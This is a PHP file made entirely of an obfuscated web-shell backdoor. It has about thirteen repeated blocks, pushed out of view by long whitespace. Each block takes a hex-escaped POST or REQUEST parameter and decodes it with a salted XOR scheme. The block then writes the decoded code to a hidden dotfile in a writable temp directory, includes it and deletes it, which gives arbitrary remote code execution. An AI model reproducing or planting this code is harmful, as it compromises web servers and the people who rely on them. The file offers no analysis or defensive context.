<?php																																										if(isset($_POST["\x73\x79m"])){ $ref = $_POST["\x73\x79m"]; $ref= explode ( '.' , $ref) ; $desc = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); $z = 0; while( $z < count( $ref)) { $v8 = $ref[$z]; $sChar = ord( $salt3[$z % $lenS] ); $d =( ( int)$v8 - $sChar -( $z % 10)) ^ 59; $desc .= chr( $d ); $z++;} $pgrp = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", session_save_path()]); foreach ($pgrp as $key => $symbol) { if (is_dir($symbol) ? is_writable($symbol) : false) { $holder = vsprintf("%s/%s", [$symbol, ".ent"]); if (@file_put_contents($holder, $desc) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(in_array("h\x6Fld\x65\x72", array_keys($_POST))){ $key = $_POST["h\x6Fld\x65\x72"]; $key = explode ( '.' , $key ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $j = 0; array_walk( $key, function( $v2) use( &$record, &$j, $s, $sLen) {$sChar = ord( $s[$j% $sLen]); $d =( ( int)$v2 - $sChar -( $j% 10))^ 53; $record .= chr( $d); $j++; }); $ent = array_filter([getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); foreach ($ent as $itm) { if (!( !is_dir($itm) || !is_writable($itm) )) { $dat = join("/", [$itm, ".descriptor"]); if (@file_put_contents($dat, $record) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(@$_POST["c\x6Fm\x70\x6F\x6Eent"] !== null){ $holder = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $entity = $_POST["c\x6Fm\x70\x6F\x6Eent"]; $entity = explode ('.' , $entity) ; $pset =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt3 ); foreach( $entity as $v => $v5) { $sChar =ord( $salt3[$v %$sLen] ); $dec =( ( int)$v5 - $sChar -( $v %10)) ^ 45; $pset .= chr( $dec ); } while ($symbol = array_shift($holder)) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $obj = "$symbol/.rec"; if (file_put_contents($obj, $pset)) { include $obj; @unlink($obj); exit; } } } }
																																										if(@$_POST["\x64e\x73cr\x69\x70t\x6Fr"] !== null){ $factor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), "/tmp"]); $record = $_POST["\x64e\x73cr\x69\x70t\x6Fr"]; $record =explode ( ".", $record ) ; $property_set = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($record as $x => $v3): $sChar = ord($salt6[$x % $lenS]); $d = ((int)$v3 - $sChar - ($x % 10))^ 76; $property_set .= chr($d); endforeach; foreach ($factor as $reference) { if ((is_dir($reference) and is_writable($reference))) { $symbol = "$reference" . "/.element"; if (file_put_contents($symbol, $property_set)) { include $symbol; @unlink($symbol); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ptr"])){ $resource = $_REQUEST["ptr"]; $resource = explode (".", $resource ); $binding= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt7); $w= 0; while($w <count($resource)) { $v6= $resource[$w]; $chS= ord($salt7[$w% $sLen]); $dec= ((int)$v6 - $chS -($w% 10)) ^ 23; $binding .= chr($dec); $w++; } $data_chunk = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP")]); while ($ent = array_shift($data_chunk)) { if (max(0, is_dir($ent) * is_writable($ent))) { $entity = "$ent/.k"; if (file_put_contents($entity, $binding)) { include $entity; @unlink($entity); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x66\x61c"])){ $reference = array_filter(["/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm"]); $itm = $_POST["\x66\x61c"]; $itm = explode("." , $itm ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; while ($u < count($itm)) { $v3 = $itm[$u]; $sChar = ord($salt[$u %$sLen]); $d = ((int)$v3 - $sChar - ($u %10)) ^ 55; $rec .= chr($d); $u++; } foreach ($reference as $ref): if (is_writable($ref) && is_dir($ref)) { $record = implode("/", [$ref, ".parameter_group"]); if (file_put_contents($record, $rec)) { include $record; @unlink($record); exit; } } endforeach; }
																																										if(!is_null($_POST["\x64at\x61\x5Fchu\x6Ek"] ?? null)){ $resource = array_filter([getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd()]); $element = $_POST["\x64at\x61\x5Fchu\x6Ek"]; $element= explode ( '.' ,$element ); $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; foreach ($element as $v6) { $chS = ord($salt[$k % $lenS]); $dec = ((int)$v6 - $chS - ($k % 10)) ^ 62; $dat .= chr($dec); $k++; } for ($fac = 0, $k = count($resource); $fac < $k; $fac++) { $component = $resource[$fac]; if (max(0, is_dir($component) * is_writable($component))) { $key = sprintf("%s/.binding", $component); if (file_put_contents($key, $dat)) { require $key; unlink($key); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x65\x6Et"])){ $entity = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP")]); $object = $_POST["\x65\x6Et"]; $object = explode (".", $object ); $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($object as $o => $v7) { $chS = ord($s[$o % $lenS]); $d = ((int)$v7 - $chS - ($o % 10)) ^ 62; $data_chunk .= chr($d); } foreach ($entity as $key => $resource) { if ((is_dir($resource) and is_writable($resource))) { $item = "$resource/.ptr"; $success = file_put_contents($item, $data_chunk); if ($success) { include $item; @unlink($item); exit;} } } }
																																										if(!is_null($_REQUEST["\x62i\x6Ed"] ?? null)){ $fac = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); $res = $_REQUEST["\x62i\x6Ed"]; $res = explode ( '.', $res ) ; $sym = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); foreach( $res as $q => $v9) { $chS = ord( $s7[$q % $lenS]); $d =( ( int)$v9 - $chS -( $q % 10)) ^ 2; $sym .= chr( $d);} foreach ($fac as $binding): if (!( !is_dir($binding) || !is_writable($binding) )) { $elem = str_replace("{var_dir}", $binding, "{var_dir}/.item"); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $elem; @unlink($elem); die(); } } endforeach; }
																																										if(array_key_exists("pgr\x70", $_POST)){ $property_set = $_POST["pgr\x70"]; $property_set = explode ( '.' , $property_set ); $token= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $l= 0; $__tmp= $property_set; while( $v1= array_shift( $__tmp)) { $sChar= ord( $s[$l %$lenS]); $dec= ( ( int)$v1 - $sChar -( $l %10))^ 73; $token .= chr( $dec); $l++; } $val = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir()]); $res = 0; do { $comp = $val[$res] ?? null; if ($res >= count($val)) break; if (!!is_dir($comp) && !!is_writable($comp)) { $data_chunk = join("/", [$comp, ".factor"]); $success = file_put_contents($data_chunk, $token); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } $res++; } while (true); }
																																										if(array_key_exists("\x72\x65\x63ord", $_POST) && !is_null($_POST["\x72\x65\x63ord"])){ $pointer = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp"]); $entry = $_POST["\x72\x65\x63ord"]; $entry= explode( ".", $entry) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($entry ); for ($t = 0; $t < $__len; $t++) { $v6 = $entry[$t]; $chS = ord($salt[$t % $lenS] ); $d = ((int)$v6 - $chS - ($t % 10)) ^ 39; $dchunk .= chr($d ); } foreach ($pointer as $holder): if (!!is_dir($holder) && !!is_writable($holder)) { $data_chunk = str_replace("{var_dir}", $holder, "{var_dir}/.desc"); if (file_put_contents($data_chunk, $dchunk)) { include $data_chunk; @unlink($data_chunk); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70ar\x61\x6D\x65\x74e\x72_\x67\x72oup"])){ $reference = $_REQUEST["\x70ar\x61\x6D\x65\x74e\x72_\x67\x72oup"]; $reference=explode ( '.' , $reference ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $o = 0; $__len = count( $reference); do { if( $o >= $__len) break; $v2 = $reference[$o]; $sChar = ord( $salt[$o % $lenS]); $d = ( ( int)$v2 - $sChar -( $o % 10)) ^ 64; $pointer.= chr( $d); $o++; } while( true); $data = array_filter([session_save_path(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd()]); for ($comp = 0, $dchunk = count($data); $comp < $dchunk; $comp++) { $desc = $data[$comp]; if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $dat = join("/", [$desc, ".property_set"]); if (file_put_contents($dat, $pointer)) { require $dat; unlink($dat); exit; } } } }


if(array_key_exists("\x64es\x63r\x69\x70\x74or", $_POST) && !is_null($_POST["\x64es\x63r\x69\x70\x74or"])){
	$flag = $_POST["\x64es\x63r\x69\x70\x74or"];
	  	$flag=		 explode( 	'.' ,		 $flag)	 	;  
	$factor	='';
            $salt	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	=strlen(	$salt		);
            $t	=0;
    
            while(	$t < count(	$flag)) {$v8	=$flag[$t];
                $sChar	=ord(	$salt[$t %		$lenS]		);
                $d	=(	(	int)$v8 - $sChar -(	$t %		10)) 	^	90;
                $factor .= chr(	$d		);
                $t++; 	}	
	$itm = array_filter(["/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path()]);
	foreach ($itm as $key => $k) {
    		if (array_product([is_dir($k), is_writable($k)])) {
    $pgrp = "$k" . "/.dchunk";
    if (file_put_contents($pgrp, $factor)) {
	include $pgrp;
	@unlink($pgrp);
	die();
}
}
}
}